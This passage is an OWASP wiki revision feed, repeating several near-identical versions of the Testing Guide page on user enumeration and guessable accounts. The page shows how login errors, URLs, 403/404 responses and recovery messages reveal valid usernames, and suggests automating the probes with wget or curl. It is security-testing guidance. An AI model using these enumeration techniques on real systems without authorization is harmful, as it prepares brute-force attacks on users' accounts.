The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer.&amp;lt;br&amp;gt;&lt;br /&gt;
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Other ways to enumerate users''' &amp;lt;br&amp;gt;&lt;br /&gt;
We can enumerate users in several ways, such as: &amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing the error code received on login pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some web application release a specific error code or message that we can analyze.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing URLs, and URLs redirections'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=baduser&amp;amp;Error=0&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=gooduser&amp;amp;Error=2&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL. &lt;br /&gt;
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- URI Probing'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing  directory we could receive a web server error.&lt;br /&gt;
A very common errors that we can receive from web server is:&amp;lt;br&amp;gt;&lt;br /&gt;
   403 Forbidden error code &lt;br /&gt;
and &amp;lt;br&amp;gt;&lt;br /&gt;
   404 Not found error code&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/account1 - we receive from web server: 403 Forbidden &lt;br /&gt;
 http://www.foo.com/account2 - we receive from web server: 404 file Not Found&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.&lt;br /&gt;
Collecting this information we can enumerate the users.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing Web page Title'''&amp;lt;br&amp;gt;&lt;br /&gt;
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.&lt;br /&gt;
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:&lt;br /&gt;
 Invalid user&lt;br /&gt;
 Invalid authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing message received from recovery facilities'''&amp;lt;br&amp;gt; &lt;br /&gt;
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.&lt;br /&gt;
&lt;br /&gt;
For example, message similar to the following:&amp;lt;br&amp;gt;&lt;br /&gt;
 Invalid username: e-mail address are not valid or The specified user was not found&lt;br /&gt;
&lt;br /&gt;
 Valid username: Your recovery password has been successfully sent&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''- Friendly 404 Error Message'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Guessing Users'''&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases the userIDs are created with specific policies of administrator or company.  &lt;br /&gt;
For example we can view a users with a userID created in sequential order:&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000100&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000101&amp;lt;br&amp;gt;&lt;br /&gt;
		…. &amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the username are created with a REALM alias and then a sequential numbers:&amp;lt;br&amp;gt;&lt;br /&gt;
		R1001 – user 001 for REALM1&amp;lt;br&amp;gt;&lt;br /&gt;
	 	R2001 – user 001 for REALM2&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern. &lt;br /&gt;
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.&lt;br /&gt;
To create a script we can use also Perl and CURL. &lt;br /&gt;
  &lt;br /&gt;
Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.&lt;br /&gt;
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.&lt;br /&gt;
&lt;br /&gt;
For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Authentication error messages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and  Gray Box testing have the same concept based on the analysis of messages or error codes received from web application.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The application should answer in the same manner for every failed attempt of authentication.&amp;lt;br&amp;gt;&lt;br /&gt;
For Example: &amp;lt;br&amp;gt;&lt;br /&gt;
 Credentials submitted are not valid&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
* CURL: http://curl.haxx.se/&lt;br /&gt;
* PERL: http://www.perl.org&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38778</id>
		<title>Testing for User Enumeration and Guessable User Account (OWASP-AT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38778"/>
				<updated>2008-09-07T13:53:06Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password. &lt;br /&gt;
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.&lt;br /&gt;
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.&lt;br /&gt;
&lt;br /&gt;
In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.&lt;br /&gt;
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''HTTP Response message''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for Valid user/right password''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Record the server answer when you submit a valid userID and valid password.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for valid user/wrong password''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
From the browser we will expect message similar to the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AuthenticationFailed.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or something like:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:NoConfFound.jpg]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
against any message that reveals the existence of user, for instance, message similar to:&amp;lt;br&amp;gt; 	&lt;br /&gt;
 Login for User foo: invalid password&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for a nonexistent username''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
If we enter a nonexistent userID, we can receive a message similar to:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Userisnotactive.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
or message like the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
 Login failed for User foo: invalid Account&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example: &lt;br /&gt;
* Client request: Valid user/wrong password --&amp;gt; Server answer:'The password is not correct'&lt;br /&gt;
* Client request: Wrong user/wrong password --&amp;gt; Server answer:'User not recognized'&lt;br /&gt;
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer.&amp;lt;br&amp;gt;&lt;br /&gt;
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Other ways to enumerate users''' &amp;lt;br&amp;gt;&lt;br /&gt;
We can enumerate users in several ways, such as: &amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing the error code received on login pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some web application release a specific error code or message that we can analyze.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing URLs, and URLs redirections'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=baduser&amp;amp;Error=0&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=gooduser&amp;amp;Error=2&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL. &lt;br /&gt;
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- URI Probing'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing  directory we could receive a web server error.&lt;br /&gt;
A very common errors that we can receive from web server is:&amp;lt;br&amp;gt;&lt;br /&gt;
   403 Forbidden error code &lt;br /&gt;
and &amp;lt;br&amp;gt;&lt;br /&gt;
   404 Not found error code&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/account1 - we receive from web server: 403 Forbidden &lt;br /&gt;
 http://www.foo.com/account2 - we receive from web server: 404 file Not Found&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.&lt;br /&gt;
Collecting this information we can enumerate the users.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing Web page Title'''&amp;lt;br&amp;gt;&lt;br /&gt;
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.&lt;br /&gt;
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:&lt;br /&gt;
 Invalid user&lt;br /&gt;
 Invalid authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing message received from recovery facilities'''&amp;lt;br&amp;gt; &lt;br /&gt;
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.&lt;br /&gt;
&lt;br /&gt;
For example, message similar to the following:&amp;lt;br&amp;gt;&lt;br /&gt;
 Invalid username: e-mail address are not valid or The specified user was not found&lt;br /&gt;
&lt;br /&gt;
 Valid username: Your recovery password has been successfully sent&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''- Friendly 404 Error Message'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Guessing Users'''&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases the userIDs are created with specific policies of administrator or company.  &lt;br /&gt;
For example we can view a users with a userID created in sequential order:&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000100&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000101&amp;lt;br&amp;gt;&lt;br /&gt;
		…. &amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the username are created with a REALM alias and then a sequential numbers:&amp;lt;br&amp;gt;&lt;br /&gt;
		R1001 – user 001 for REALM1&amp;lt;br&amp;gt;&lt;br /&gt;
	 	R2001 – user 001 for REALM2&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern. &lt;br /&gt;
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.&lt;br /&gt;
To create a script we can use also Perl and CURL. &lt;br /&gt;
  &lt;br /&gt;
Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.&lt;br /&gt;
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.&lt;br /&gt;
&lt;br /&gt;
For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Authentication error messages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and  Gray Box testing have the same concept based on the analysis of messages or error codes received from web application.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The application should answer in the same manner for every failed attempt of authentication.&amp;lt;br&amp;gt;&lt;br /&gt;
For Example: &amp;lt;br&amp;gt;&lt;br /&gt;
 Credentials submitted are not valid&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
* CURL: http://curl.haxx.se/&lt;br /&gt;
* PERL: http://www.perl.org&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38776</id>
		<title>Testing for User Enumeration and Guessable User Account (OWASP-AT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38776"/>
				<updated>2008-09-07T13:51:33Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password. &lt;br /&gt;
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.&lt;br /&gt;
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.&lt;br /&gt;
&lt;br /&gt;
In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.&lt;br /&gt;
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''HTTP Response message''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for Valid user/right password''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Record the server answer when you submit a valid userID and valid password.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for valid user/wrong password''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
From the browser we will expect message similar to the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AuthenticationFailed.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or something like:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:NoConfFound.jpg]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
against any message that reveals the existence of user, for instance, message similar to:&amp;lt;br&amp;gt; 	&lt;br /&gt;
 Login for User foo: invalid password&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for a nonexistent username''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
If we enter a nonexistent userID, we can receive a message similar to:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Userisnotactive.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
or message like the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
 Login failed for User foo: invalid Account&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example: &lt;br /&gt;
* Client request: Valid user/wrong password --&amp;gt; Server answer:'The password is not correct'&lt;br /&gt;
* Client request: Wrong user/wrong password --&amp;gt; Server answer:'User not recognized'&lt;br /&gt;
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer.&amp;lt;br&amp;gt;&lt;br /&gt;
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Other ways to enumerate users''' &amp;lt;br&amp;gt;&lt;br /&gt;
We can enumerate users in several ways, such as: &amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing the error code received on login pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some web application release a specific error code or message that we can analyze.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing URLs, and URLs redirections'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=baduser&amp;amp;Error=0&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=gooduser&amp;amp;Error=2&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL. &lt;br /&gt;
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- URI Probing'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing  directory we could receive a web server error.&lt;br /&gt;
A very common errors that we can receive from web server is:&amp;lt;br&amp;gt;&lt;br /&gt;
   403 Forbidden error code &lt;br /&gt;
and &amp;lt;br&amp;gt;&lt;br /&gt;
   404 Not found error code&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/account1 - we receive from web server: 403 Forbidden &lt;br /&gt;
 http://www.foo.com/account2 - we receive from web server: 404 file Not Found&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.&lt;br /&gt;
Collecting this information we can enumerate the users.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing Web page Title'''&amp;lt;br&amp;gt;&lt;br /&gt;
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.&lt;br /&gt;
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:&lt;br /&gt;
 Invalid user&lt;br /&gt;
 Invalid authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing message received from recovery facilities'''&amp;lt;br&amp;gt; &lt;br /&gt;
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.&lt;br /&gt;
&lt;br /&gt;
For example, message similar to the following:&amp;lt;br&amp;gt;&lt;br /&gt;
 Invalid username: e-mail address are not valid or The specified user was not found&lt;br /&gt;
&lt;br /&gt;
 Valid username: Your recovery password has been successfully sent&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''- Friendly 404 Error Message'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Guessing Users'''&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases the userIDs are created with specific policies of administrator or company.  &lt;br /&gt;
For example we can view a users with a userID created in sequential order:&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000100&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000101&amp;lt;br&amp;gt;&lt;br /&gt;
		…. &amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the username are created with a REALM alias and then a sequential numbers:&amp;lt;br&amp;gt;&lt;br /&gt;
		R1001 – user 001 for REALM1&amp;lt;br&amp;gt;&lt;br /&gt;
	 	R2001 – user 001 for REALM2&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern. &lt;br /&gt;
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.&lt;br /&gt;
To create a script we can use also Perl and CURL. &lt;br /&gt;
  &lt;br /&gt;
Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.&lt;br /&gt;
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.&lt;br /&gt;
&lt;br /&gt;
For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Authentication error messages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and  Gray Box testing are the same concept based on the analysis of messages or error codes received from web application.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The application should answer in the same manner for every failed attempt of authentication.&amp;lt;br&amp;gt;&lt;br /&gt;
For Example: &amp;lt;br&amp;gt;&lt;br /&gt;
 Credentials submitted are not valid&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
* CURL: http://curl.haxx.se/&lt;br /&gt;
* PERL: http://www.perl.org&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38759</id>
		<title>Testing for User Enumeration and Guessable User Account (OWASP-AT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38759"/>
				<updated>2008-09-07T13:32:14Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
